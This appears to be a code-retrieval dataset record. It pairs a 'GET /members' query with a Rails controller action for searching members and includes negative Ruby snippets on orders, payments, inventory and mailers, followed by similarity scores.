"def commit_orders\r\n orders = @customer.open_orders.find_all_by_synchronized( false )\r\n sales_id = \"\"\r\n orders.each do |o| sales_id += \"'#{o.sales_id}', \" end \r\n @store_user.my_account_log(@customer,\"Commit Sales Order Updates: #{sales_id}\")\r\n\r\n if orders.empty? || ERP::SalesOrder.commit_orders( orders )\r\n flash.now[:message] = \"All changes have been commited.\"\r\n else\r\n flash.now[:message] = \"Operation Failed.\"\r\n end\r\n end",
"def update\n \n #Email and Fax actions, to actually resend the information\n if params[:status] == \"email\"\n if current_user.subscription.can_send_po \n if @purchase_order.status == \"draft\" then @purchase_order.update_attributes!(organize_purchase_order_params(purchase_order_params)) end\n PDFMailer.send_pdf(@purchase_order, @company, current_user).deliver\n @purchase_order.update_attribute(:status, \"open\")\n @purchase_order.write_history(params[:status]) \n flash[:notice] = \"Success, your PO has been sent by Email.\" if @purchase_order.save\n current_user.subscription.update_attribute(:monthly_po_count, current_user.subscription.monthly_po_count + 1)\n respond_with(@purchase_order) \n else\n flash[:notice] = 'You have reached your monthly PO limit. Please purchase more or upgrade to send more POs'\n respond_with(@purchase_order)\n end\n elsif params[:status] == \"fax\"\n if current_user.subscription.can_send_po \n if @purchase_order.status == \"draft\" then @purchase_order.update_attributes!(organize_purchase_order_params(purchase_order_params)) end\n @sent_fax = send_po_fax(@purchase_order)\n @successful_send = @sent_fax[\"success\"]\n if @successful_send\n current_user.subscription.update_attribute(:monthly_po_count, current_user.subscription.monthly_po_count + 1)\n @purchase_order.update_attribute(:status, \"open\")\n @purchase_order.write_history(params[:status])\n flash[:notice] = \"Success, your PO has been sent by Fax.\" if @purchase_order.save \n respond_with(@purchase_order)\n else \n flash[:notice] = @sent_fax[\"message\"]\n respond_with(@purchase_order)\n end\n else\n flash[:notice] = 'You have reached your monthly PO limit. Please purchase more or upgrade to send more POs'\n respond_with(@purchase_order)\n end\n\n #State transitions - Open, Closed, Cancelled, Deleted, Draft, Archived\n\n elsif params[:status] == \"open\"\n if @purchase_order.status == \"draft\" then @purchase_order.update_attributes!(organize_purchase_order_params(purchase_order_params)) end\n @purchase_order.update_attribute(:status, \"open\")\n @purchase_order.write_history(params[:status])\n flash[:notice] = \"Purchase Order was successfully Saved.\" if @purchase_order.save\n respond_with(@purchase_order)\n\n elsif params[:status] == \"save\"\n @purchase_order.update_attributes!(organize_purchase_order_params(purchase_order_params)) \n @purchase_order.save\n flash[:notice] = 'Success, your changes have been Saved.' if @purchase_order.save\n respond_with(@purchase_order)\n\n elsif params[:status] == \"cancel_changes\"\n flash[:notice] = \"Changes have been discarded.\"\n respond_with(@purchase_order)\n\n elsif params[:status] == \"closed\"\n @purchase_order.update_attribute(:status, \"closed\") \n flash[:notice] = \"Purchase Order has been Closed.\" if @purchase_order.save\n @purchase_order.write_history(params[:status])\n respond_with(@purchase_order)\n\n elsif params[:status] == \"cancelled\"\n @purchase_order.update_attribute(:status, \"cancelled\")\n flash[:notice] = \"Purchase Order has been Cancelled\" if @purchase_order.save\n @purchase_order.write_history(params[:status])\n respond_to do |format|\n format.html { redirect_to purchase_orders_path }\n end\n\n # stowaway methods - archive, delete, and undo archive, undo delete\n elsif params[:status] == \"deleted\"\n @purchase_order.update_attribute(:archived, false)\n @purchase_order.update_attribute(:was_deleted, true)\n @purchase_order.update_attribute(:last_deleted_on, DateTime.now)\n @purchase_order.update_attribute(:status, \"deleted\")\n flash[:notice] = \"Purchase Order has been Deleted.\" if @purchase_order.save\n @purchase_order.write_history(params[:status])\n respond_to do |format|\n format.html { redirect_to purchase_orders_path }\n format.json\n end\n elsif params[:status] == \"undelete\"\n @purchase_order.update_attribute(:was_deleted, false)\n @purchase_order.update_attribute(:status, \"cancelled\")\n flash[:notice] = \"Purchase Order has been Un-Deleted.\" if @purchase_order.save\n @purchase_order.write_history(params[:status])\n respond_with(@purchase_order)\n\n elsif params[:status] == \"archive\"\n @purchase_order.update_attribute(:archived, true)\n @purchase_order.update_attribute(:last_archived_on, DateTime.now)\n flash[:notice] = \"Purchase Order has been Archived.\" if @purchase_order.save\n @purchase_order.write_history(params[:status])\n respond_with(@purchase_order)\n\n elsif params[:status] == \"unarchive\"\n @purchase_order.update_attribute(:archived, false)\n flash[:notice] = \"Purchase order has been Un-Archived.\" if @purchase_order.save\n @purchase_order.write_history(params[:status])\n respond_with(@purchase_order)\n\n elsif params[:status] == \"print\"\n respond_with(@purchase_order)\n\n elsif params[:status] == \"duplicate\"\n @purchase_order.write_history(params[:status])\n @po = @company.purchase_orders.new\n @po.status = \"draft\"\n # @po.update_attributes!(description: @purchase_order.read_attribute(:description), vendor: @purchase_order.read_attribute(:vendor), address: @purchase_order.read_attribute(:address), number: generate_po_number, date_required: \"ASAP\", label: @purchase_order.read_attribute(:label))\n new_po_params = organize_purchase_order_params(:vendor => @purchase_order.read_attribute(:vendor), :address => @purchase_order.read_attribute(:address))\n @po.update_attributes!(vendor: new_po_params[:vendor], address: new_po_params[:address], description: @purchase_order.read_attribute(:description), number: generate_po_number, date_required: \"ASAP\", label: @purchase_order.read_attribute(:label))\n @purchase_order = @po\n flash[:notice] = \"Purchase Order Duplicated as New\" if @purchase_order.save\n respond_with(@purchase_order)\n\n elsif params[:status] == \"discard\"\n @purchase_order.destroy\n respond_to do |format|\n format.html { redirect_to purchase_orders_path, notice: 'Purchase order was successfully discarded.' }\n format.json { head :no_content }\n end\n else #NOTE - this is where label updates are handled\n @purchase_order.update(purchase_order_params)\n respond_to do |format|\n format.html { respond_with @purchase_order, notice: 'Label information was successfully updated' }\n format.json { head :no_content }\n end\n end\n end",
"def withdraw exit_date, estimated_return_date, pickup_company, pickup_company_contact, additional_comments, quantity, folio\n \n return self.status if cannot_withdraw?\n\n if quantity != '' and quantity < self.quantity.to_i\n self.quantity = self.quantity.to_i - quantity\n quantity_withdrawn = quantity\n else\n self.status = InventoryItem::OUT_OF_STOCK\n quantity_withdrawn = self.quantity\n self.quantity = 0\n end\n \n if self.save\n inventory_item = InventoryItem.where( 'actable_id = ? AND actable_type = ?', self.id, 'BulkItem' ).first\n if self.warehouse_locations?\n quantity_left = quantity\n if quantity != '' and quantity < ( self.quantity.to_i + quantity_withdrawn.to_i )\n item_location = self.item_locations.where( 'quantity >= ?', quantity ).first\n location = item_location.warehouse_location\n location.remove_quantity( inventory_item.id, quantity )\n elsif quantity != ''\n while quantity_left > 0\n item_location = self.item_locations.first\n location = item_location.warehouse_location\n if quantity_left >= item_location.quantity \n current_location_quantity = item_location.quantity \n location.remove_item( inventory_item.id )\n self.item_locations.delete( item_location )\n location.update_status\n else\n location.remove_quantity( inventory_item.id, quantity_left )\n end\n quantity_left = quantity_left - current_location_quantity\n end\n else\n item_location = self.item_locations.first\n location = item_location.warehouse_location\n location.remove_item( inventory_item.id )\n self.item_locations.delete( item_location )\n location.update_status\n end\n end\n CheckOutTransaction.create( :inventory_item_id => inventory_item.id, :concept => 'Salida granel', :additional_comments => additional_comments, :exit_date => exit_date, :estimated_return_date => estimated_return_date, :pickup_company => pickup_company, :pickup_company_contact => pickup_company_contact, :quantity => quantity_withdrawn, :folio => folio )\n return true\n end\n\n return false\n end",
"def booking_invoice\n NotificationsMailer.with(sports_centre: SportsCentre.first, order: Order.first).booking_invoice\n end",
"def withdraw(exit_date, estimated_return_date, pickup_company, pickup_company_contact, additional_comments, quantity_to_withdraw, folio = '-')\n return status if cannot_withdraw?\n\n if quantity_to_withdraw != '' && quantity_to_withdraw < quantity.to_i\n self.quantity = quantity.to_i - quantity_to_withdraw\n quantity_withdrawn = quantity_to_withdraw\n else\n self.status = InventoryItem::OUT_OF_STOCK\n quantity_withdrawn = quantity\n self.quantity = 0\n end\n\n save\n\n # Withdraw from WarehouseLocations\n withdraw_from_locations(quantity_withdrawn) if warehouse_locations?\n\n CheckOutTransaction.create(\n inventory_item_id: id,\n concept: 'Salida granel',\n additional_comments: additional_comments,\n exit_date: exit_date,\n estimated_return_date: estimated_return_date,\n pickup_company: pickup_company,\n pickup_company_contact: pickup_company_contact,\n quantity: quantity_withdrawn,\n folio: folio\n )\n true\n end",
"def order_receipt(user_name, user_email, order, total_amount)\n @user = user_name\n @order = order\n @total_amount = total_amount\n mail(to: user_email, subject: \"Thank you for your order ##{@order.id}\")\n end",
"def pyment_logic\n\t\t# @notification = ActiveMerchant::Billing::Integrations::Ccavenue::Notification.new(request.raw_post)\n\t\t# if @notification.payment_id.present?\n\t\t# \t@order = Course.find_by_order_id(@notification.payment_id)\n\t\t# \tif @notification.complete? and @notification.valid?\n\t\t# \t\t@order.confirm!\n\t\t# \telse\n\t\t# \t @order.reject!\n\t\t# \tend\n\t\t# end\n\tend",
"def order_confirmation (user, cart, product, customer, pickup)\n @user = user\n @cart = cart\n @product = product\n @customer = customer\n @pickup = pickup\n\n mail to: user.email, subject: \"A new order has been placed\"\n end",
"def email_confirm\n end",
"def confirm_course_payment\n\n\n tx_id = 123456789 # default tax_id we need to changes after latter\n @course = Course.find(params[:id])\n\n @price_detail = CoursePricing.find_by_course_id(@course.id)\n if @price_detail!=nil\n @price =@price_detail.price\n else\n @price=0.0\n end\n @discount=session[:coupon_price].to_f\n @subtotal=@price - @discount\n @tax = Course.tax_calculation(@course,@subtotal)\n @user = current_user\n if session[:payment_completed] ==nil\n if params[:coupon_code].present?\n @coupon = Coupon.find_coupon(params[:coupon_code], user_id = current_user.id, metadata=@course.id)\n Coupon.redeem(params[:coupon_code], @user.id, tx_id, @coupon.metadata)\n end\n\n enroll_student(@course, current_user)\n invoice = invoices_data(@course, params)\n invoice_generate_pdf(@course, params)\t\t\t\n session[:payment_completed]=true\n end\n end",
"def notify_final_delivery\n @reports = Reports.find( :all )\n @delivery = Packages.find( :all )\n if( @delivery != nil ) && ( @reports != nil )\n @reports.each do|t|\n @delivery.each do|s|\n if( ( t.reported_id == s.senders_id ) && ( s.finalDelivery == false ) && ( t.packages_id == s.id ) )\n @notification = Notifications.new\n @notification.users_id = s.senders_id\n @notification.description = \"You should confirm the delivery of the package\"\n @notification.save\n end\n end\n end\n end\n return;\n end",
"def sales_invoice?\n false\n end",
"def sales_invoice?\n false\n end",
"def deliver_confirmation_email_instructions!\n # TODO\n end",
"def repayment_notification(user)\n @user = user\n\n mail to: user.email, subject: \"Scholarship Confirmation\"\n end",
"def confirm_for_fulfillment\n\n\t\t\tresult = PrintfulAPI.request( :POST, \"/orders/#{self.id}/confirm\", {} )\n\n\t\t\tself.load_data( result )\n\n\t\t\treturn true\n\n\t\tend",
"def nonprofit\n end",
"def confirm_sale\n @booking = Booking.find(params[:id])\n @booking.status = \"Ticket receivd\"\n @booking.save\n redirect_to bookings_path\n end",
"def notify_finalpayment\n @pack = Packages.find( :all, :conditions => {:finalDelivery => true} )\n @pay = Payment.find( :all )\n if( @pack != nil ) && ( @pay != nil )\n @pack.each do |t|\n @pay.each do |s|\n if( t.id == s.packages_id ) && ( t.carriers_id = s.users_id )\n @notification = Notifications.new\n @notification.users_id = t.carriers_id\n @notification.description = \"an amout has been added to your account and another amount has been deducted\"\n @notification.save\n end\n end\n end\n end\n return;\n end",
"def book_request_decline_confirm\n booking_staff = BookingStaff.find_by_confirm_token(params[:id])\n\n if booking_staff\n staff_id = booking_staff.id\n declined_status = STATUS_DECLINED\n\n if self.book_request_response(staff_id, declined_status)\n booking_staff.send_email_booking_declined\n booking_staff.update(:confirm_token => nil)\n render 'request_decline_confirm'\n return\n end\n end\n\n # NOTE - IF FOR WHATEVER REASON GETTING THE BookingStaff MODEL FAILS\n # WE SHOULD TELL THE USER TO TRY AGAIN ?\n end",
"def notify_finalpayment\n @pack = Packages.get_packages_final_payment\n @pay = Payment.get_all_payments\n if( @pack != nil ) && ( @pay != nil )\n @pack.each do |t|\n @pay.each do |s|\n if( t.id == s.packages_id ) && ( t.carriers_id = s.users_id )\n @notification = Notifications.create(t.carriers_id, \"as a carrier an amount has been added to your account and another amount has been deducted\")\n end\n end\n end\n end\n return;\n end",
"def make_the_payment_paypal\n #here i need to refresh the order because the total entry field is changed\n order=CompetitionsUser.find(session[:order].id)\n if order and order.invoices.last\n @invoice = order.generate_invoice_extra_entry(@current_user,{\"payment_medium\"=>\"paypal\"} )\n else\n @invoice = order.generate_invoice(@current_user, {\"payment_medium\"=>\"paypal\"}) \n end \t\n @invoice.validating(\"paypal\")\n session[:current_object].invoice = @invoice\n session[:current_object].save\n p session[:userid]\n if session[:userid].blank?\n invoice = Invoice.find(:last,:conditions=>[\"client_id = ? and purchasable_id = ?\",@current_user.id,order.id])\n \n else\n invoice = Invoice.find(:last,:conditions=>[\"client_id = ? and purchasable_id = ?\",session[:userid],order.id])\n \n end\n \n if order.instance_of? CompetitionsUser\n note = \"no note created\"\n note = order.competition.timing.note if order.competition.timing \n \n start_date = order.competition.timing.starting_date.strftime(\"%d %b %Y\")\n end_date = order.competition.timing.ending_date.strftime(\"%d %b %Y\")\n p \"the invoice is blank\"\n p invoice\n if invoice \n create_pdf(invoice.id,invoice.number,invoice.sent_at.strftime(\"%d %b %Y\"),invoice.client.profile.full_address_for_invoice,invoice.client.profile.full_name_for_invoice,order.competition.title,invoice.final_amount.to_i,note,\"\",invoice.final_amount.to_i,false,end_date)\n else\n p \"i dont have invoice created\"\n end\n elsif order.instance_of? ExhibitionsUser\n note = \"no note created\"\n note = order.exhibition.timing.note if order.exhibition.timing \n create_pdf(invoice.id,invoice.number,invoice.sent_at.strftime(\"%d %b %Y\"),invoice.client.profile.full_address_for_invoice,invoice.client.profile.full_name_for_invoice,order.exhibition.title,invoice.final_amount.to_i,note)\n end\n #QueuedMail.add('UserMailer', 'send_invoice',[@invoice,@current_user], 0, send_now=true)\t\n #QueuedMail.create(:mailer => 'UserMailer', :mailer_method => 'send_invoice',:args => [@current_user.profile.email_address,\"invoice#{invoice.id}\",\"An Invoice Is Send To Your Email For Your Payment\"],:priority => 0,:tomail=>@current_user.profile.email_address,:frommail=>\"test@pragtech.co.in\")\n begin\n email= UserMailer.create_send_invoice(invoice,@current_user)\n UserMailer.deliver(email)\n rescue => e\n logger.info \"there is error while sending the email\"\n logger.info e\n end\n end"
] |
[
"0.6186503",
"0.61625737",
"0.6122685",
"0.59879845",
"0.5955981",
"0.5955405",
"0.5941831",
"0.59390265",
"0.5933362",
"0.583504",
"0.5790174",
"0.5776659",
"0.5765615",
"0.5760621",
"0.57591045",
"0.57415",
"0.5717416",
"0.5684254",
"0.5667012",
"0.56591976",
"0.56505203",
"0.56490207",
"0.56472635",
"0.5645199",
"0.5638194",
"0.563745",
"0.5637311",
"0.56163406",
"0.56123435",
"0.5608691",
"0.560346",
"0.5602588",
"0.55966866",
"0.55943453",
"0.55733037",
"0.5571059",
"0.5571051",
"0.5571051",
"0.5563774",
"0.5550789",
"0.5538791",
"0.5534186",
"0.55289334",
"0.5526295",
"0.55230206",
"0.5501668",
"0.54951274",
"0.54881716",
"0.54586464",
"0.5454278",
"0.544021",
"0.5424369",
"0.54218566",
"0.54196614",
"0.54176086",
"0.5411164",
"0.54099053",
"0.5408238",
"0.5407738",
"0.54034996",
"0.54028016",
"0.5401919",
"0.5401484",
"0.5399091",
"0.53957677",
"0.53934836",
"0.5385879",
"0.53762895",
"0.53719145",
"0.53718346",
"0.53708535",
"0.5370556",
"0.53693247",
"0.53670645",
"0.5366218",
"0.5365923",
"0.5353023",
"0.5348192",
"0.53466916",
"0.53455985",
"0.5342962",
"0.53418314",
"0.5338144",
"0.5331324",
"0.53296417",
"0.5328458",
"0.53213924",
"0.5316813",
"0.5313542",
"0.53011435",
"0.53011435",
"0.52993625",
"0.52950794",
"0.52881813",
"0.5285624",
"0.5285313",
"0.52830875",
"0.5281268",
"0.52756786",
"0.52699554"
] |
0.52956814
|
92
|
GET /members GET /members.xml
|
def index
@session_member_id = session[:user].member.id
@conn_ids = []
@session_member = Member.find(@session_member_id)
@mcs = @session_member.member_connections
unless @mcs.empty?
@mcs.each do |mc|
@conn_ids << mc.connected_member_id
end
end
unless params["myconn"].blank?
@myconn = params["myconn"]
@search = Member.id_eq_any(@conn_ids).search(params[:search])
else
@search = Member.descend_by_created_at.search(params[:search])
end
unless params[:search_by_tags].blank?
@searchtags = Tag.name_like(params[:search_by_tags])
@searchtags_ids = []
@searchtags.each do |tg|
@searchtags_ids << tg.id
end
@search.member_taggings_tag_id_eq_any(@searchtags_ids)
end
if !params[:from_date_cal].blank?
@report_start_date = Time.parse(params[:from_date_cal])
@search.member_attendances_created_at_greater_than(@report_start_date)
end
if !params[:end_date_cal].blank?
@report_end_date = Time.parse(params[:end_date_cal])
@search.member_attendances_created_at_less_than(@report_end_date)
end
unless params[:coursedd].blank?
@coursedd = params[:coursedd][:id]
unless @coursedd.blank?
sql = CourseSchedule.send(:construct_finder_sql, :select => 'id', :conditions => ["course_id = ?",@coursedd])
@cids = CourseSchedule.connection.select_values(sql)
@search.member_attendances_course_schedule_id_eq_any(@cids)
end
end
@csid = params["csid"]
unless @csid.blank?
@cs = CourseSchedule.find(@csid)
@course = @cs.course
@search.member_attendances_course_schedule_id_eq_any(@csid)
end
@center_id = session[:center_id]+""
@search.center_id_eq(@center_id)
@members = @search.all.paginate :page => params[:page], :per_page => 10
@usermembers = User.user_members_cached(session[:center_id])
@tg = Tag.get_tag_names_cached(session[:center_id])
@courses = Course.all_cached
@cs_id = -1
unless params["mode"].blank?
render :layout => "signup", :template => "member_attendances/index"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def members\n raw_response = get_request('users/members')\n parse_response(raw_response, :users)\n end",
"def list_members\n HTTP.headers(:accept => @@accept, \"content-type\" => @@content_type).basic_auth(:user => ENV[\"API_USERNAME\"], :pass => ENV[\"API_PASSWORD\"])\n .get(\"#{@@base_url}/users/#{self.guid}/members\").parse[\"members\"]\n end",
"def members\n response = service.get_members\n response.map do |member_data|\n Member.new(member_data)\n end\n end",
"def index\n @members = Defer { ::Member.all }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @members }\n end\n end",
"def get_members\n @user = User.find_by(user_params)\n @members = @user.members\n \n if not @members.nil?\n render json: @members\n else \n render json: \"\"\n end\n end",
"def list_members(user, list)\n get(\"/#{user}/#{list}/members.json\")\n end",
"def members\n return @members if @members\n @members = Client.get(\"/organizations/#{id}/members/all\").json_into(Member)\n end",
"def members\n users\n end",
"def members\n users\n end",
"def members *args\n page, per_page, options = TibbrResource.extract_params(args, 2)\n cache_lookup(MEMBERS, true, page, per_page) do\n TibbrResource.paginate_collection(get(:members, :params => {:include_group_members => options[:include_group_members], :page => page, :per_page => per_page}), User)\n end\n end",
"def index\n @members = User::Member.all\n end",
"def index\n @members = Member.find(:all)\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def index\n @members = Member.all\n end",
"def members_list\n @members = Member.active.ordered.all\n @user = current_user\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @members }\n end\n end",
"def memberships\n @list.client.get(\"#{url}/memberships\")\n end",
"def get_members()\n @client.make_request(:get, @client.concat_user_path(\"#{CONFERENCE_PATH}/#{id}/members\"))[0].map do |i|\n member = ConferenceMember.new(i, @client)\n member.conference_id = id\n member\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @member }\n end\n end",
"def show\n\t\t@member = Member.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml\t{ render :xml => @member }\n\t\tend\n\tend",
"def index\n @members = Member.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n end\n end",
"def index\n @members = Member.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n end\n end",
"def index\n @members = Member.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n end\n end",
"def index\n respond_to do |format|\n format.html { render :layout => 'yui_t7_custom' } # index.rhtml\n format.xml { render :xml => @members.to_xml }\n end\n end",
"def members\n @source.get_elements('//Member').map { |item| Member.new(item) }\n end",
"def team_members(id)\n get \"/teams/#{id}/members\"\n end",
"def get\r\n\t\t#binding.pry\r\n\t\ttemplateFile = 'api/v1/users/members/get'\r\n\t\tunless (params[:id].to_i != 0 ) #will get the current user id if its nil or 0\r\n\t\t\tparams[:id] = session[:user].id\r\n\t\t\ttemplateFile = 'api/v1/users/members/getFull'\r\n\t\tend\r\n @responseObject = OpenStruct.new({\r\n status: true,\r\n errors: [],\r\n code: API_CODE_ERRORS['Services']['Global']['success'],\r\n objectData: OpenStruct.new(User.getFullUserData(params[:id])),\r\n timestamp: (Date.new).to_time.to_i.abs\r\n })\r\n \trender :template => templateFile ,:handlers => [:rabl], :formats => [:json]\r\n\tend",
"def organization_members(org)\n get \"/orgs/#{org}/members\"\n end",
"def index\n @family_members = @current_family.family_members\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @family_members }\n end\n end",
"def show\n @member = Member.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @member.to_xml }\n end\n end",
"def members( params={} )\n members = get_connections(\"members\", params)\n return map_connections members, :to => Facebook::Graph::Generic\n end",
"def show\n @member = Member.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @member }\n end\n end",
"def group_members(id)\n get(\"/groups/#{id}/members\")\n end",
"def index\n @restmembers = Restmember.all\n end",
"def show\n @member_info = MemberInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @member_info }\n end\n end",
"def show_members\n @members.each do |member, amt|\n puts member\n end\n @members\n end",
"def conference_list_members(params)\n path = @version + '/Conference/Member/List/'\n method = 'POST'\n return request(path, method, params)\n end",
"def fetch\n @members = []\n page = 0\n\n begin\n page += 1\n url = open(\"#{base_url}/memberslistxml?p=#{page}\", {:proxy => true})\n member_data = REXML::Document.new(url.read).root\n\n @group_id64 = member_data.elements['groupID64'].text.to_i if page == 1\n total_pages = member_data.elements['totalPages'].text.to_i\n\n member_data.elements['members'].elements.each do |member|\n @members << SteamId.new(member.text.to_i, false)\n end\n end while page < total_pages\n\n super\n end",
"def index\n if params[:data]\n @members = Member.get_members(params[:data][:kind].to_i, params[:data][:search])\n else\n @members = Member.all\n end\n\n @members = @members.paginate(:page => params[:page], :per_page => 25)\n end",
"def show_members\n @exchange = Exchange.find(params[:id])\n @members = @exchange.users\n @exchanges = current_user.exchanges.find(:all)\n end",
"def members\n fetch if @members.nil? || @members[0].nil?\n @members\n end",
"def show\n\t\t@membership = Membership.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml\t{ render :xml => @membership }\n\t\tend\n\tend",
"def me\n users(request(\"users/authenticate.xml\", :auth => true))\n end",
"def index\n @members = Member.members\n @participants = Member.participants\n @invited_count = Member.count\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n end\n end",
"def org_members\n @members = @github.orgs.members.list APP_CONF['org']\n render json: @members\n end",
"def show\n @who_member = WhoMember.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @who_member }\n end\n end",
"def get_member_of_list(user, list, member_id)\n get(\"/#{user}/#{list}/members/#{member_id}.json\")\n end",
"def members_get_info(members:, trace: false)\n members_json = []\n members.each do |m|\n if m['team_member_id'] != nil\n members_json << \"{\\\".tag\\\":\\\"team_member_id\\\",\\\"team_member_id\\\":\\\"#{m['team_member_id']}\\\"}\"\n elsif m['external_id'] != nil\n members_json << \"{\\\".tag\\\":\\\"external_id\\\",\\\"external_id\\\":\\\"#{m['external_id']}\\\"}\"\n elsif m['email'] != nil\n members_json << \"{\\\".tag\\\":\\\"email\\\",\\\"email\\\":\\\"#{m['email']}\\\"}\"\n end\n end\n dropbox_query(query: '2/team/members/get_info', query_data: \"{\\\"members\\\":[#{members_json.join(',')}]}\", trace: trace)\n end",
"def search_members(query, options = {})\n get search_path(\"members\"), options.merge(query: query)\n end",
"def memberships\n prefix = \"#{path_prefix}/memberships\"\n Ghee::API::Users::Memberships::Proxy.new(connection, prefix)\n end",
"def index\n @member = Member.find(params[:member_id])\n end",
"def members\n @group = Group.find(params[:group_id])\n @members = @group.users\n end",
"def members()\n return MicrosoftGraph::Me::JoinedTeams::Item::Members::MembersRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def index\n @search = Member.search(params[:search])\n @members = @search.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n end\n end",
"def show\n @member = Member.find(params[:id])\n #@members = Member.paginate(:page => params[:page])\n @title = @member.last_name\n #respond_to do |format|\n # format.html # show.html.erb\n # format.xml { render :xml => @member }\n #end\n end",
"def members\n resp = MU::Cloud::Google.admin_directory(credentials: @credentials).list_members(@cloud_id)\n members = []\n if resp and resp.members\n members = resp.members.map { |m| m.email }\n# XXX reject status != \"ACTIVE\" ?\n end\n members\n end",
"def members(options = { :filter => :all })\n return @members if @members\n @members = Client.get(\"/boards/#{id}/members\", options).json_into(Member)\n end",
"def show\n @membership = Membership.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @membership }\n end\n end",
"def get_all_members(params = {})\n room_id = self.room_id || params.delete(:room_id)\n raise ArgumentError.new(\"room_id required\") unless room_id\n res = call_api(:method => :get, :uri => @api_base.merge(\"room/#{room_id}/member\"), :query_params => params)\n return unless res.successful?\n Users.new(res.data)\n end",
"def members(options = {})\n KlaviyoAPI::ListMember.all_members params: { list_id: id, **options }\n end",
"def users\n get('get_users')\n end",
"def members\n @members\n end",
"def members\n @members\n end",
"def index\n @users = LinkedData::Client::Models::User.all\n respond_to do |format|\n format.html\n format.xml { render xml: @users.to_xml }\n end\n end",
"def list_users\n self.class.get('/users')\n end",
"def index\n if params[:group_id]\n @members = Group.find(params[:group_id]).members\n else\n @members = Member.all\n end\n end",
"def index\n @members = Member.search(params[:search]).order(sort_column+\" \"+sort_direction).paginate(:per_page => 10, :page => params[:page])\n @title = \"Members\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.js # index.js.erb\n format.xml { render :xml => @members }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @teammembers }\n end\n end",
"def index\n @members = @project.memebers\n end",
"def retrieve\n\t\t@gibbon.lists(\"c3c516a4aa\").members.retrieve\n\tend",
"def retrieve\n\t\t@gibbon.lists(\"c3c516a4aa\").members.retrieve\n\tend",
"def index\n @users = User.all\n render :xml => @users\n end",
"def users\n GroupMembers.new(:id => id).get.items\n end",
"def index\n @committeemembers = Committeemember.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @committeemembers }\n end\n end",
"def organization_public_members(org)\n get \"/orgs/#{org}/public_members\"\n end",
"def vault_members(vault_id)\n request_get(\"/vault/#{vault_id}/members\")\n end",
"def all_members(**params)\n client.api.get_room_members(id, **params)[:chunk].map { |ch| client.get_user(ch[:state_key]) }\n end",
"def friends(id)\n friends_data(request(\"users/friends/#{id}.xml\", :auth => true))\n end",
"def index\n\t\tmembers = Member.where(team_id: params[:team_id]).all\n\t\trespond_with members\n\tend",
"def group_members(id, params = {})\n get(\"/groups/#{id}/members\", params)\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @member }\n end\n end",
"def show\n @profile = self.current_member.profile\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @profile.to_xml }\n end\n end",
"def getMembersList()\n\t\tbegin\n\t \t@members=[];\n\t \tuserMembers = TwitterClient.list_members(@selectedList)\n\t \tuserMembers.each do |memberInList|\n\t \t\t@members << memberInList.id\n\t \tend\n\t \t@members\n\t rescue\n\t \t-1\n\t end\n\tend",
"def all_members\n @dvd_club = DvdClub.find(params[:id])\n @users = @dvd_club.users\n end",
"def list_all_members\n @users.each { |x| puts \"-#{x.first}\"}\n end",
"def get_mailing_members(id)\n get(\"/mailings/#{id}/members\")\n end",
"def show\n @member = Member.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @member }\n end\n end",
"def show\n @member = Member.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @member }\n end\n end",
"def show\n @member = Member.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @member }\n end\n end",
"def show\n @member = Member.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @member }\n end\n end",
"def show\n @member = Member.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @member }\n end\n end",
"def show\n @member = Member.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @member }\n end\n end",
"def show\n @member = Member.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @member }\n end\n end"
] |
[
"0.7903388",
"0.7372727",
"0.7194274",
"0.7098234",
"0.7059046",
"0.69730103",
"0.6923398",
"0.69045466",
"0.69045466",
"0.68216807",
"0.6803228",
"0.6799462",
"0.6763184",
"0.6763184",
"0.6763184",
"0.6763184",
"0.6763184",
"0.6763184",
"0.6763184",
"0.6763184",
"0.6763184",
"0.6763184",
"0.67504704",
"0.6712775",
"0.67117196",
"0.6683251",
"0.66765004",
"0.6643139",
"0.6643139",
"0.6643139",
"0.6641185",
"0.6615255",
"0.6600828",
"0.6597825",
"0.65707904",
"0.65705055",
"0.6558997",
